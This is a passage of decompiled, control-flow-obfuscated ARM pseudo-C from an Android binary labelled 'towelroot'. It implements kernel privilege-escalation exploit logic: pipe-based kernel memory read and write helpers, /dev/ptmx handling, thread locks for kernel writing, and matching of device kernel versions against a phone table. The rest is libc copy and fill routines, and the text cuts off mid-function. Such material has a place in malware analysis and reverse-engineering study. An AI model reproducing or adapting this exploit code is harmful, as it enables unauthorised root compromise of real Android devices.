syscall(340, HACKS_fdm, 0, v84);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = -1443950635;
goto LABEL_479;
}
}
else if ( result == 176063918 )
{
result = 263847526;
if ( v87 )
result = -2052581280;
}
}
else if ( result == v7 )
{
LABEL_483:
result = 513310241;
}
}
else if ( result == -16427465 )
{
sub_B7D8(HACKS_final_stack_base + 8, (int)&unk_CAC9, 4);
v8 = 1295232369;
pthread_mutex_unlock(is_kernel_writing);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = -1443950635;
result = -1424694617;
}
}
else if ( result == -116490904 )
{
pipe(&v83);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = -1443950635;
do_splice_tid_read = 1;
goto LABEL_464;
}
}
else if ( result == -512654259 )
{
_android_log_print(4, "towelroot", "cpid1 resumed ", v6, v73, v74, v75);
pthread_mutex_lock(is_kernel_writing);
HACKS_fdm = open("/dev/ptmx", 2);
unlockpt();
v69 = ptsname(HACKS_fdm);
open(v69, 2);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = -1443950635;
v4 = -1706446860;
result = 1222654836;
}
}
else if ( result == v9 )
{
v68 = 0;
if ( !did_splice_tid_read )
v68 = 1;
v87 = v68;
result = 176063918;
}
}
else if ( result == -1424694617 )
{
result = v7;
}
}
else if ( result == v10 )
{
result = 998255658;
if ( v85 )
result = -1443950635;
}
}
if ( result != v4 )
goto LABEL_4;
return result;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F6C: using guessed type int __fastcall pthread_mutex_lock(_DWORD);
// FC0: using guessed type int __fastcall syscall(_DWORD, _DWORD, _DWORD, _DWORD);
// FD8: using guessed type int __fastcall pthread_mutex_unlock(_DWORD);
// 1098: using guessed type int __fastcall pthread_cond_signal(_DWORD);
// 10C8: using guessed type int __fastcall chmod(_DWORD, _DWORD);
// 10D4: using guessed type int fork(void);
// 10EC: using guessed type int getuid(void);
// 10F8: using guessed type int __fastcall open(_DWORD, _DWORD);
// 1104: using guessed type int unlockpt(void);
// 1110: using guessed type int __fastcall ptsname(_DWORD);
// 111C: using guessed type int __fastcall pipe(_DWORD);
// 1128: using guessed type int __fastcall read(_DWORD, _DWORD, _DWORD);
// 2ACF4: using guessed type void **ph;
// 881C: using guessed type char var_440[1024];

//----- (0000B7D8) --------------------------------------------------------
int __fastcall sub_B7D8(int a1, int a2, int a3)
{
int v3; // r4@1
int v4; // r6@1
int v5; // r5@1
int v6; // r0@1
signed int v7; // r1@1
signed int v8; // r0@1
int v9; // r0@8
int v11; // [sp+10h] [bp-38h]@1
int v12; // [sp+14h] [bp-34h]@1
int v13; // [sp+18h] [bp-30h]@1
int v14; // [sp+1Ch] [bp-2Ch]@1
int v15; // [sp+20h] [bp-28h]@1
int v16; // [sp+24h] [bp-24h]@1
int v17; // [sp+28h] [bp-20h]@14

v3 = a1;
v11 = a1;
v4 = a3;
v5 = a2;
pipe(&v13);
write(v14, v5, v4);
v6 = read(v13, v3, v4);
v12 = v6;
v15 = v6;
v7 = 0xFFFE1D36;
v16 = v4;
v8 = 1511452053;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v8 <= -423951698 )
{
if ( v8 == -1726233443 )
LABEL_2:
v8 = 1991527168;
}
if ( v8 > -279740630 )
break;
if ( v8 == -423951697 )
{
v9 = _errno(-423951697, v7);
_android_log_print(4, "towelroot", "FAILED WRITE @ %p : %d %d ", v11, v12, *(_DWORD *)v9);
goto LABEL_11;
}
}
if ( v8 > 465676008 )
break;
if ( v8 == -279740629 )
LABEL_11:
v8 = 1947188961;
}
if ( v8 <= 749189899 )
break;
if ( v8 > 1470931962 )
{
if ( v8 > 1991527167 )
{
v7 = 1991527168;
if ( v8 == 1991527168 )
{
close(v13);
close(v14);
v17 = v12;
v8 = 465676009;
}
}
else if ( v8 > 1947188960 )
{
v7 = 1947188961;
if ( v8 == 1947188961 )
LABEL_32:
v8 = 749189900;
}
else
{
if ( v8 == 1470931963 )
{
close(v13);
close(v14);
goto LABEL_2;
}
if ( v8 == 1511452053 )
{
v7 = v16;
v8 = -1726233443;
if ( v15 != v16 )
v8 = -423951697;
}
else
{
v7 = 1849750365;
if ( v8 == 1849750365 )
{
sleep(10);
goto LABEL_32;
}
}
}
}
else
{
v7 = 749189900;
if ( v8 == 749189900 )
{
sleep(10);
v8 = -279740629;
}
}
}
v7 = 465676009;
}
while ( v8 != 465676009 );
return v17;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// 1044: using guessed type int __fastcall write(_DWORD, _DWORD, _DWORD);
// 111C: using guessed type int __fastcall pipe(_DWORD);
// 1128: using guessed type int __fastcall read(_DWORD, _DWORD, _DWORD);
// 1134: using guessed type int __cdecl _errno(_DWORD, _DWORD);
// 1140: using guessed type int __fastcall close(_DWORD);

//----- (0000BA44) --------------------------------------------------------
int __fastcall sub_BA44(int a1, int a2, int a3)
{
int v3; // r5@1
int v4; // r4@1
int v5; // r0@1
signed int v6; // r9@1
signed int v7; // r2@1
signed int v8; // r10@1
signed int v9; // r4@1
signed int v10; // r0@1
signed int v11; // r4@9
signed int v12; // r10@18
signed int v13; // r9@18
int v14; // r0@22
int v15; // r0@30
int v17; // [sp+18h] [bp-40h]@1
int v18; // [sp+1Ch] [bp-3Ch]@1
int v19; // [sp+20h] [bp-38h]@1
int v20; // [sp+24h] [bp-34h]@1
int v21; // [sp+28h] [bp-30h]@1
int v22; // [sp+2Ch] [bp-2Ch]@1
int v23; // [sp+30h] [bp-28h]@1
int v24; // [sp+34h] [bp-24h]@1
int v25; // [sp+38h] [bp-20h]@26

v3 = a1;
v4 = a3;
v19 = a2;
v20 = a3;
v17 = a1;
pipe(&v21);
v5 = write(v22, v3, v4);
v18 = v5;
v6 = -1949532095;
v23 = v5;
v7 = -1109216572;
v8 = -1230563248;
v24 = v4;
v9 = -229296604;
v10 = -1949532095;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v10 <= -1666437983 )
{
if ( v10 == v6 )
{
v10 = v7;
if ( v23 != v24 )
v10 = 2041770680;
}
}
if ( v10 > v8 )
break;
if ( v10 == -1666437982 )
{
v11 = v7;
read(v21, v19, v20);
close(v21);
close(v22);
v7 = v11;
v9 = -229296604;
goto LABEL_15;
}
}
if ( v10 > -1109216573 )
break;
if ( v10 == -1230563247 )
LABEL_19:
v10 = -229296603;
}
if ( v10 > v9 )
break;
if ( v10 == v7 )
LABEL_15:
v10 = 1993224842;
}
if ( v10 > 366273532 )
break;
if ( v10 == -229296603 )
{
v12 = v6;
v13 = v7;
sleep(10);
v7 = v13;
v6 = v12;
v8 = -1230563248;
goto LABEL_19;
}
}
if ( v10 > 1714786564 )
break;
if ( v10 == 366273533 )
{
v14 = _errno(366273533, 366273533);
_android_log_print(4, "towelroot", "FAILED READ @ %p : %d %d ", v17, v18, *(_DWORD *)v14);
v7 = -1109216572;
goto LABEL_23;
}
}
if ( v10 <= 1775758113 )
break;
if ( v10 == 1775758114 )
{
v15 = _errno(1775758114, 1775758114);
_android_log_print(4, "towelroot", "FAILED READ @ %p : %d %d ", v17, v18, *(_DWORD *)v15);
v10 = -1230563247;
LABEL_31:
v7 = -1109216572;
}
else
{
if ( v10 == 1993224842 )
{
read(v21, v19, v20);
close(v21);
close(v22);
v25 = v18;
v10 = 1714786565;
goto LABEL_31;
}
v7 = -1109216572;
if ( v10 == 2041770680 )
LABEL_23:
v10 = 1775758114;
}
}
}
while ( v10 != 1714786565 );
return v25;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// 1044: using guessed type int __fastcall write(_DWORD, _DWORD, _DWORD);
// 111C: using guessed type int __fastcall pipe(_DWORD);
// 1128: using guessed type int __fastcall read(_DWORD, _DWORD, _DWORD);
// 1134: using guessed type int __cdecl _errno(_DWORD, _DWORD);
// 1140: using guessed type int __fastcall close(_DWORD);

//----- (0000BD38) --------------------------------------------------------
signed int sub_BD38()
{
FILE *v0; // r5@1
signed int v1; // r7@1
signed int v2; // r10@1
signed int v3; // r5@1
signed int v4; // lr@1
signed int v5; // r12@1
signed int v6; // r9@1
signed int v7; // r4@1
signed int v8; // r1@1
signed int result; // r0@1
signed int v10; // r2@1
signed int v11; // r6@3
signed int v12; // r1@3
signed int v13; // r7@45
signed int v14; // r9@45
char v15; // r0@49
size_t v16; // r0@53
signed int v17; // r4@53
int v18; // r5@53
signed int v19; // r3@53
_BYTE v20; // zf@53
_BYTE v21; // nf@53
unsigned __int8 v22; // vf@53
signed int v23; // r1@69
_BYTE v24; // zf@93
signed int v25; // r4@106
char *v26; // r5@106
size_t v27; // r0@106
const void *v28; // r1@106
char v29; // r0@106
char *v30; // r0@110
_BYTE v31; // zf@110
signed int v32; // [sp+38h] [bp-1030h]@1
signed int v33; // [sp+3Ch] [bp-102Ch]@1
char v34[4096]; // [sp+42h] [bp-1026h]@1
char v35; // [sp+1042h] [bp-26h]@51
char v36; // [sp+1043h] [bp-25h]@86
unsigned int v37; // [sp+1044h] [bp-24h]@80

v33 = 0;
_aeabi_memset(v34, 4096, 0);
v0 = fopen("/proc/version", "rb");
fread(v34, 1u, 0xFFFu, v0);
fclose(v0);
_android_log_print(4, "towelroot", "got kernel version %s ");
v1 = 1555633012;
v2 = 1524615209;
v3 = 1495895337;
v4 = -193831583;
v5 = 453557149;
v6 = 1524615210;
v7 = 1555633013;
v8 = 0x6173D898u;
v32 = (signed int)"found matching phone: %s ";
result = -625781896;
v10 = 1495895338;
LABEL_3:
v11 = v8;
v12 = v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( result > 1634982039 )
{
if ( result == v11 )
result = v4;
}
if ( result <= v1 )
break;
if ( result == v7 )
result = v5;
}
if ( result <= v2 )
break;
if ( result == v12 )
result = 107891123;
}
if ( result <= v3 )
break;
if ( result == v10 )
{
v13 = v10;
v14 = v5;
_android_log_print(4, "towelroot", "found matching phone: %s ", phones[4 * v33]);
v12 = 1524615210;
v10 = v13;
v1 = 1555633012;
v11 = 1634982040;
v2 = 1524615209;
v7 = 1555633013;
ph = (void **)&phones[4 * v33];
v3 = 1495895337;
v5 = v14;
goto LABEL_46;
}
}
if ( result <= 1257403340 )
break;
if ( result == 1257403341 )
{
v15 = 0;
if ( v33 < 1 )
v15 = 1;
v35 = v15;
result = -1408789365;
}
}
v6 = v12;
if ( result <= 1155731667 )
break;
if ( result == 1155731668 )
{
v16 = strlen(new_samsung);
v17 = v3;
v18 = atoi(&v34[v16]);
_android_log_print(4, "towelroot", "got kernel number %d ", v18);
LOWORD(v19) = 23905;
v22 = __OFSUB__(v18, 951485);
v20 = v18 == 951485;
v21 = v18 - 951485 < 0;
result = -2110984625;
LOWORD(v12) = -14294;
LOWORD(v10) = -29398;
LOWORD(v5) = -17507;
LOWORD(v1) = 4980;
if ( v18 > 951485 )
result = 31977;
HIWORD(v19) = -2958;
v3 = v17;
v7 = 1555633013;
HIWORD(v12) = 23263;
HIWORD(v10) = 22825;
HIWORD(v5) = 6920;
v4 = v19;
HIWORD(v1) = 23737;
if ( !((unsigned __int8)(v21 ^ v22) | v20) )
HIWORD(result) = -32444;
}
}
if ( result <= 1121889570 )
break;
if ( result == 1121889571 )
result = v11;
}
if ( result <= 1008231733 )
break;
if ( result == 1008231734 )
{
_android_log_print(4, "towelroot", "no matching phone found, trying default ");
v10 = 1495895338;
v5 = 453557149;
v12 = v6;
v32 = 0;
v4 = -193831583;
goto LABEL_63;
}
}
if ( result <= 936481147 )
break;
if ( result == 936481148 )
result = v11;
}
if ( result <= 704068069 )
break;
if ( result == 704068070 )
result = 1203836501;
}
if ( result <= 701316958 )
break;
v23 = 701316959;
LABEL_70:
v20 = result == v23;
v12 = v6;
if ( v20 )
result = -1163396676;
}
if ( result <= 453557148 )
break;
if ( result == v5 )
result = 379459650;
}
if ( result > 379459649 )
break;
if ( result > 178664354 )
{
if ( result == 178664355 )
{
++v33;
result = -625781896;
}
}
else if ( result > 166053313 )
{
if ( result == 166053314 )
{
result = 704068070;
if ( v37 < 2 )
result = -2146371262;
}
}
else if ( result > 107891122 )
{
if ( result == 107891123 )
LABEL_63:
result = -500903855;
}
else if ( result > 75996805 )
{
if ( result == 75996806 )
{
result = 107891123;
if ( v36 )
result = 1155731668;
}
}
else if ( result > -193831584 )
{
if ( result == v4 )
result = 178664355;
}
else if ( result > -500903856 )
{
if ( result == -500903855 )
{
_android_log_print(4, "towelroot", "no matching phone found, trying default ");
v10 = 1495895338;
v5 = 453557149;
v32 = 0;
result = -1000586763;
v12 = v6;
v4 = -193831583;
}
}
else if ( result > -625781897 )
{
v24 = result == -625781896;
LABEL_94:
if ( v24 )
result = 1257403341;
}
else
{
if ( result > -641145312 )
{
v23 = -641145311;
goto LABEL_70;
}
if ( result > -854238232 )
{
if ( result == -854238231 )
result = v12;
}
else if ( result > -958771766 )
{
if ( result == -958771765 )
{
v37 = v32;
result = 166053314;
}
}
else if ( result > -1000586764 )
{
if ( result == -1000586763 )
LABEL_47:
result = -958771765;
}
else if ( result > -1163396677 )
{
v10 = 1495895338;
v11 = 1634982040;
if ( result == -1163396676 )
{
v25 = v3;
v26 = new_samsung;
v27 = strlen(new_samsung);
v28 = v26;
v3 = v25;
v7 = 1555633013;
v1 = 1555633012;
v20 = memcmp(v34, v28, v27) == 0;
v29 = 0;
v10 = 1495895338;
if ( v20 )
v29 = 1;
v5 = 453557149;
v36 = v29;
result = 75996806;
v4 = -193831583;
v12 = 1524615210;
}
}
else if ( result > -1167807250 )
{
v10 = 1495895338;
v11 = 1634982040;
if ( result == -1167807249 )
{
v30 = strstr(v34, phones[4 * v33]);
v10 = 1495895338;
v31 = v30 == 0;
v11 = 1634982040;
result = 936481148;
v5 = 453557149;
if ( !v31 )
result = 36138;
v4 = -193831583;
v12 = v6;
if ( !v31 )
HIWORD(result) = 22825;
}
}
else if ( result > -1408789366 )
{
v10 = 1495895338;
v11 = 1634982040;
if ( result == -1408789365 )
{
result = 701316959;
if ( v35 )
result = -1167807249;
}
}
else
{
if ( result > -2023345304 )
{
v10 = 1495895338;
v24 = result == -2023345303;
v11 = 1634982040;
goto LABEL_94;
}
if ( result > -2110984626 )
{
v10 = 1495895338;
v11 = 1634982040;
if ( result == -2110984625 )
result = -854238231;
}
else
{
if ( result == -2146371262 )
{
result = v5;
LABEL_2:
v10 = 1495895338;
v8 = 1634982040;
goto LABEL_3;
}
if ( result == -2144691208 )
{
result = -854238231;
goto LABEL_2;
}
v10 = 1495895338;
v11 = 1634982040;
if ( result == -2126218007 )
{
_android_log_print(4, "towelroot", "using new samsung ");
v10 = 1495895338;
v11 = 1634982040;
v5 = 453557149;
v4 = -193831583;
ph = (void **)&new_samsung;
v12 = v6;
LABEL_46:
v32 = 1;
goto LABEL_47;
}
}
}
}
}
}
while ( result != 379459650 );
return result;
}
// BD38: too many cbuild loops
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// 114C: using guessed type int __fastcall _aeabi_memset(_DWORD, _DWORD, _DWORD);
// 2ACF4: using guessed type void **ph;
// 2AD08: using guessed type char *new_samsung;
// BD38: using guessed type char var_1026[4096];

//----- (0000D64C) --------------------------------------------------------
int __fastcall sub_D64C(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000D66C) --------------------------------------------------------
int __fastcall sub_D66C(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000D7EC) --------------------------------------------------------
int __fastcall sub_D7EC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000D86C) --------------------------------------------------------
int __fastcall sub_D86C(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000D8EC) --------------------------------------------------------
int __fastcall sub_D8EC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000DAEC) --------------------------------------------------------
void __fastcall sub_DAEC(int a1)
{
int v1; // r0@1

v1 = *(_DWORD *)a1;
JUMPOUT(0xFFFF0FC0);
}

//----- (0000DB44) --------------------------------------------------------
void sub_DB44()
{
JUMPOUT(0xFFFF0FC0);
}

//----- (0000DB74) --------------------------------------------------------
unsigned int __fastcall sub_DB74(unsigned int a1, unsigned int *a2)
{
return __swp(a1, a2);
}

//----- (0000DB7C) --------------------------------------------------------
void sub_DB7C()
{
__asm { SVC 0 }
}

//----- (0000DBDC) --------------------------------------------------------
int __fastcall sub_DBDC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);

//----- (0000DD1C) --------------------------------------------------------
#error "DD38: positive sp value has been found (funcsize=0)"

//----- (0000DE6C) --------------------------------------------------------
void __fastcall __spoils<R1,R2,R3,R12> sub_DE6C(int a1, int a2, int i, int a4)
{
unsigned int v4; // r4@0
int v5; // r5@0
int v6; // r6@0
int v7; // r7@0
unsigned int v8; // r8@0
int v9; // r9@0
int v10; // r12@0
unsigned __int8 v11; // cf@3
char v12; // nf@3
char v13; // r12@3
char v14; // t1@4
int v15; // r1@6
unsigned int v16; // t1@6
int v17; // r0@10
int v18; // r3@12
unsigned int v19; // t1@24
int v20; // r2@26
unsigned int v21; // r12@28
int v22; // r10@29
int v23; // r11@29
unsigned __int8 v24; // cf@29
int v25; // t1@30
int v26; // t1@43
__int16 v27; // t1@45
int v28; // r5@54
int v29; // lr@54
int v30; // t1@54
int v31; // r0@57
unsigned int v32; // r3@57
unsigned int v33; // t1@60
int v34; // r4@60
int v35; // r2@62
unsigned int v36; // r12@66
unsigned int v37; // t1@66
signed __int64 v38; // r4@67
signed __int64 v39; // r6@67
signed __int64 v40; // r8@67
signed __int64 v41; // r10@67
char v42; // cf@67
unsigned int v43; // t1@68
unsigned int v44; // r12@71
unsigned int v45; // t1@71
signed __int64 v46; // r4@72
signed __int64 v47; // r6@72
signed __int64 v48; // r8@72
signed __int64 v49; // r10@72
char v50; // cf@72
unsigned int v51; // t1@73
unsigned int v52; // r12@76
unsigned int v53; // t1@76
signed __int64 v54; // r4@77
signed __int64 v55; // r6@77
signed __int64 v56; // r8@77
signed __int64 v57; // r10@77
char v58; // cf@77
unsigned int v59; // t1@78
unsigned int v60; // t1@81
int v61; // r4@81
int v62; // r0@85
unsigned __int8 v63; // cf@86
char v64; // nf@86
int v65; // r2@86
char v66; // t1@87

__pld((void *)a1);
__pld((void *)a2);
__pld((void *)(a2 + 32));
if ( (unsigned int)i >= 4 )
{
a4 = -a2 & 3;
if ( a4 )
{
v11 = __CFSHL__(a4, 31);
v13 = 0;
v12 = a2 << 31 < 0;
i -= a4;
if ( v12 )
{
v14 = *(_BYTE *)a2++;
LOBYTE(a4) = v14;
}
if ( v11 )
{
v16 = *(_BYTE *)a2;
v15 = a2 + 1;
v4 = v16;
LOBYTE(v16) = *(_BYTE *)v15;
a2 = v15 + 1;
v13 = v16;
}
if ( v12 )
*(_BYTE *)a1++ = a4;
if ( v11 )
{
*(_BYTE *)a1 = v4;
v17 = a1 + 1;
*(_BYTE *)v17 = v13;
a1 = v17 + 1;
}
}
LOBYTE(v10) = a1 ^ a2;
if ( !((a1 ^ a2) & 3) )
{
v18 = -a1 & 0x1C;
if ( v18 )
{
if ( v18 > (unsigned int)i )
v18 = i & 0x1C;
if ( __CFSHL__(v18, 28) )
{
v4 = *(_DWORD *)a2;
v5 = *(_DWORD *)(a2 + 4);
v6 = *(_DWORD *)(a2 + 8);
v7 = *(_DWORD *)(a2 + 12);
a2 += 16;
}
if ( v18 << 28 < 0 )
{
v8 = *(_DWORD *)a2;
v9 = *(_DWORD *)(a2 + 4);
a2 += 8;
}
if ( __CFSHL__(v18, 28) )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v5;
*(_DWORD *)(a1 + 8) = v6;
*(_DWORD *)(a1 + 12) = v7;
a1 += 16;
}
if ( v18 << 28 < 0 )
{
*(_DWORD *)a1 = v8;
*(_DWORD *)(a1 + 4) = v9;
a1 += 8;
}
if ( v18 & 4 )
{
v19 = *(_DWORD *)a2;
a2 += 4;
*(_DWORD *)a1 = v19;
a1 += 4;
}
i -= v18;
}
v11 = (unsigned int)i >= 0x20;
v20 = i - 32;
if ( v11 )
{
v21 = (a2 & 0xFFFFFFE0) + 64;
do
{
v4 = *(_DWORD *)a2;
v5 = *(_DWORD *)(a2 + 4);
v6 = *(_DWORD *)(a2 + 8);
v7 = *(_DWORD *)(a2 + 12);
v8 = *(_DWORD *)(a2 + 16);
v9 = *(_DWORD *)(a2 + 20);
v22 = *(_DWORD *)(a2 + 24);
v23 = *(_DWORD *)(a2 + 28);
a2 += 32;
__pld((void *)(v21 + 64));
v24 = (unsigned int)v20 >= 0x20;
v20 -= 32;
if ( (v20 != 0) & v24 )
{
v25 = *(_DWORD *)v21;
v21 += 32;
v18 = v25;
}
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v5;
*(_DWORD *)(a1 + 8) = v6;
*(_DWORD *)(a1 + 12) = v7;
*(_DWORD *)(a1 + 16) = v8;
*(_DWORD *)(a1 + 20) = v9;
*(_DWORD *)(a1 + 24) = v22;
*(_DWORD *)(a1 + 28) = v23;
a1 += 32;
}
while ( v24 );
v20 += 32;
}
if ( v20 & 0x1F )
{
if ( __CFSHL__(v20, 28) )
{
v4 = *(_DWORD *)a2;
v5 = *(_DWORD *)(a2 + 4);
v6 = *(_DWORD *)(a2 + 8);
v7 = *(_DWORD *)(a2 + 12);
a2 += 16;
}
if ( v20 << 28 < 0 )
{
v8 = *(_DWORD *)a2;
v9 = *(_DWORD *)(a2 + 4);
a2 += 8;
}
if ( __CFSHL__(v20, 28) )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v5;
*(_DWORD *)(a1 + 8) = v6;
*(_DWORD *)(a1 + 12) = v7;
a1 += 16;
}
if ( v20 << 28 < 0 )
{
*(_DWORD *)a1 = v8;
*(_DWORD *)(a1 + 4) = v9;
a1 += 8;
}
if ( __CFSHL__(v20, 30) )
{
v26 = *(_DWORD *)a2;
a2 += 4;
v18 = v26;
}
if ( v20 << 30 < 0 )
{
v27 = *(_WORD *)a2;
a2 += 2;
LOWORD(v4) = v27;
}
if ( __CFSHL__(v20, 30) )
{
*(_DWORD *)a1 = v18;
a1 += 4;
}
if ( v20 << 30 < 0 )
{
*(_WORD *)a1 = v4;
a1 += 2;
}
if ( v20 & 1 )
*(_BYTE *)a1 = *(_BYTE *)a2;
}
return;
}
if ( (unsigned int)i >= 4 )
{
v28 = -a1 & 3;
v10 = 8 * v28;
v29 = 32 - 8 * v28;
v30 = *(_DWORD *)a2;
a2 += 4;
a4 = v30;
i -= 4;
if ( a1 << 31 < 0 )
{
*(_BYTE *)a1++ = a4;
a4 = (unsigned int)a4 >> 8;
}
if ( __CFSHL__(v28, 31) )
{
*(_BYTE *)a1 = a4;
v31 = a1 + 1;
v32 = (unsigned int)a4 >> 8;
*(_BYTE *)v31 = v32;
a1 = v31 + 1;
a4 = v32 >> 8;
}
if ( (unsigned int)i >= 4 )
{
while ( a1 & 0x1C )
{
v33 = *(_DWORD *)a2;
a2 += 4;
i -= 4;
v34 = a4 | (v33 << v29);
a4 = v33 >> v10;
*(_DWORD *)a1 = v34;
a1 += 4;
if ( (unsigned int)i < 4 )
{
if ( (unsigned int)i < 4 )
goto LABEL_82;
break;
}
}
v11 = (unsigned int)i >= 0x20;
v35 = i - 32;
if ( v11 )
{
if ( v10 == 24 )
{
v53 = *(_DWORD *)a2;
a2 += 4;
v52 = v53;
do
{
LODWORD(v54) = v52;
HIDWORD(v54) = *(_DWORD *)a2;
v55 = *(_QWORD *)(a2 + 4);
v56 = *(_QWORD *)(a2 + 12);
v57 = *(_QWORD *)(a2 + 20);
a2 += 28;
__pld((void *)(a2 + 64));
v58 = (unsigned int)v35 >= 0x20;
v35 -= 32;
if ( v58 )
{
v59 = *(_DWORD *)a2;
a2 += 4;
v52 = v59;
}
*(_DWORD *)a1 = a4 | ((_DWORD)v54 << 8);
*(_DWORD *)(a1 + 4) = v54 >> 24;
*(_DWORD *)(a1 + 8) = (HIDWORD(v54) >> 24) | ((_DWORD)v55 << 8);
*(_DWORD *)(a1 + 12) = v55 >> 24;
*(_DWORD *)(a1 + 16) = (HIDWORD(v55) >> 24) | ((_DWORD)v56 << 8);
*(_DWORD *)(a1 + 20) = v56 >> 24;
*(_DWORD *)(a1 + 24) = (HIDWORD(v56) >> 24) | ((_DWORD)v57 << 8);
*(_DWORD *)(a1 + 28) = v57 >> 24;
a1 += 32;
a4 = HIDWORD(v57) >> 24;
}
while ( v58 );
}
else if ( v10 == 8 )
{
v45 = *(_DWORD *)a2;
a2 += 4;
v44 = v45;
do
{
LODWORD(v46) = v44;
HIDWORD(v46) = *(_DWORD *)a2;
v47 = *(_QWORD *)(a2 + 4);
v48 = *(_QWORD *)(a2 + 12);
v49 = *(_QWORD *)(a2 + 20);
a2 += 28;
__pld((void *)(a2 + 64));
v50 = (unsigned int)v35 >= 0x20;
v35 -= 32;
if ( v50 )
{
v51 = *(_DWORD *)a2;
a2 += 4;
v44 = v51;
}
*(_DWORD *)a1 = a4 | ((_DWORD)v46 << 24);
*(_DWORD *)(a1 + 4) = v46 >> 8;
*(_DWORD *)(a1 + 8) = (HIDWORD(v46) >> 8) | ((_DWORD)v47 << 24);
*(_DWORD *)(a1 + 12) = v47 >> 8;
*(_DWORD *)(a1 + 16) = (HIDWORD(v47) >> 8) | ((_DWORD)v48 << 24);
*(_DWORD *)(a1 + 20) = v48 >> 8;
*(_DWORD *)(a1 + 24) = (HIDWORD(v48) >> 8) | ((_DWORD)v49 << 24);
*(_DWORD *)(a1 + 28) = v49 >> 8;
a1 += 32;
a4 = HIDWORD(v49) >> 8;
}
while ( v50 );
}
else
{
v37 = *(_DWORD *)a2;
a2 += 4;
v36 = v37;
do
{
LODWORD(v38) = v36;
HIDWORD(v38) = *(_DWORD *)a2;
v39 = *(_QWORD *)(a2 + 4);
v40 = *(_QWORD *)(a2 + 12);
v41 = *(_QWORD *)(a2 + 20);
a2 += 28;
__pld((void *)(a2 + 64));
v42 = (unsigned int)v35 >= 0x20;
v35 -= 32;
if ( v42 )
{
v43 = *(_DWORD *)a2;
a2 += 4;
v36 = v43;
}
*(_DWORD *)a1 = a4 | ((_DWORD)v38 << 16);
*(_DWORD *)(a1 + 4) = v38 >> 16;
*(_DWORD *)(a1 + 8) = (HIDWORD(v38) >> 16) | ((_DWORD)v39 << 16);
*(_DWORD *)(a1 + 12) = v39 >> 16;
*(_DWORD *)(a1 + 16) = (HIDWORD(v39) >> 16) | ((_DWORD)v40 << 16);
*(_DWORD *)(a1 + 20) = v40 >> 16;
*(_DWORD *)(a1 + 24) = (HIDWORD(v40) >> 16) | ((_DWORD)v41 << 16);
*(_DWORD *)(a1 + 28) = v41 >> 16;
a1 += 32;
a4 = HIDWORD(v41) >> 16;
}
while ( v42 );
}
}
LOBYTE(v10) = 32 - v29;
for ( i = v35 + 32; (unsigned int)i >= 4; a1 += 4 )
{
v60 = *(_DWORD *)a2;
a2 += 4;
i -= 4;
v61 = a4 | (v60 << v29);
a4 = v60 >> v10;
*(_DWORD *)a1 = v61;
}
}
LABEL_82:
if ( v29 << 28 < 0 )
{
*(_BYTE *)a1++ = a4;
a4 = (unsigned int)a4 >> 8;
}
if ( __CFSHL__(v29, 28) )
{
*(_BYTE *)a1 = a4;
v62 = a1 + 1;
a4 = (unsigned int)a4 >> 8;
*(_BYTE *)v62 = a4;
a1 = v62 + 1;
}
}
}
v63 = __CFSHL__(i, 31);
v65 = i << 31;
v64 = v65 < 0;
if ( v65 < 0 )
{
v66 = *(_BYTE *)a2++;
LOBYTE(v65) = v66;
}
if ( v63 )
{
LOBYTE(a4) = *(_BYTE *)a2;
LOBYTE(v10) = *(_BYTE *)(a2 + 1);
}
if ( v64 )
*(_BYTE *)a1++ = v65;
if ( v63 )
{
*(_BYTE *)a1 = a4;
*(_BYTE *)(a1 + 1) = v10;
}
}

//----- (0000E1A4) --------------------------------------------------------
void __fastcall __spoils<R1,R2,R3> sub_E1A4(int a1, int a2, int a3)
{
int v3; // r3@1
unsigned int v4; // r1@3
int v5; // r0@4
unsigned __int8 v6; // cf@7
int v7; // r2@7
int v8; // r3@9
int v9; // r3@12
int v10; // r0@13
int v11; // r2@18
int v12; // r2@20
int v13; // r2@20
int v14; // r2@24

v3 = -a1 & 3;
if ( v3 > (unsigned int)a3 )
v3 = a3;
v4 = (a2 << 24) | (a2 << 16) & 0xFFFFFF | (((a2 << 24) | (a2 << 16) & 0xFFFFFFu) >> 16);
if ( __CFSHL__(v3, 31) )
{
*(_BYTE *)a1 = v4;
v5 = a1 + 1;
*(_BYTE *)v5 = v4;
a1 = v5 + 1;
}
if ( v3 << 31 < 0 )
*(_BYTE *)a1++ = v4;
v6 = a3 >= (unsigned int)v3;
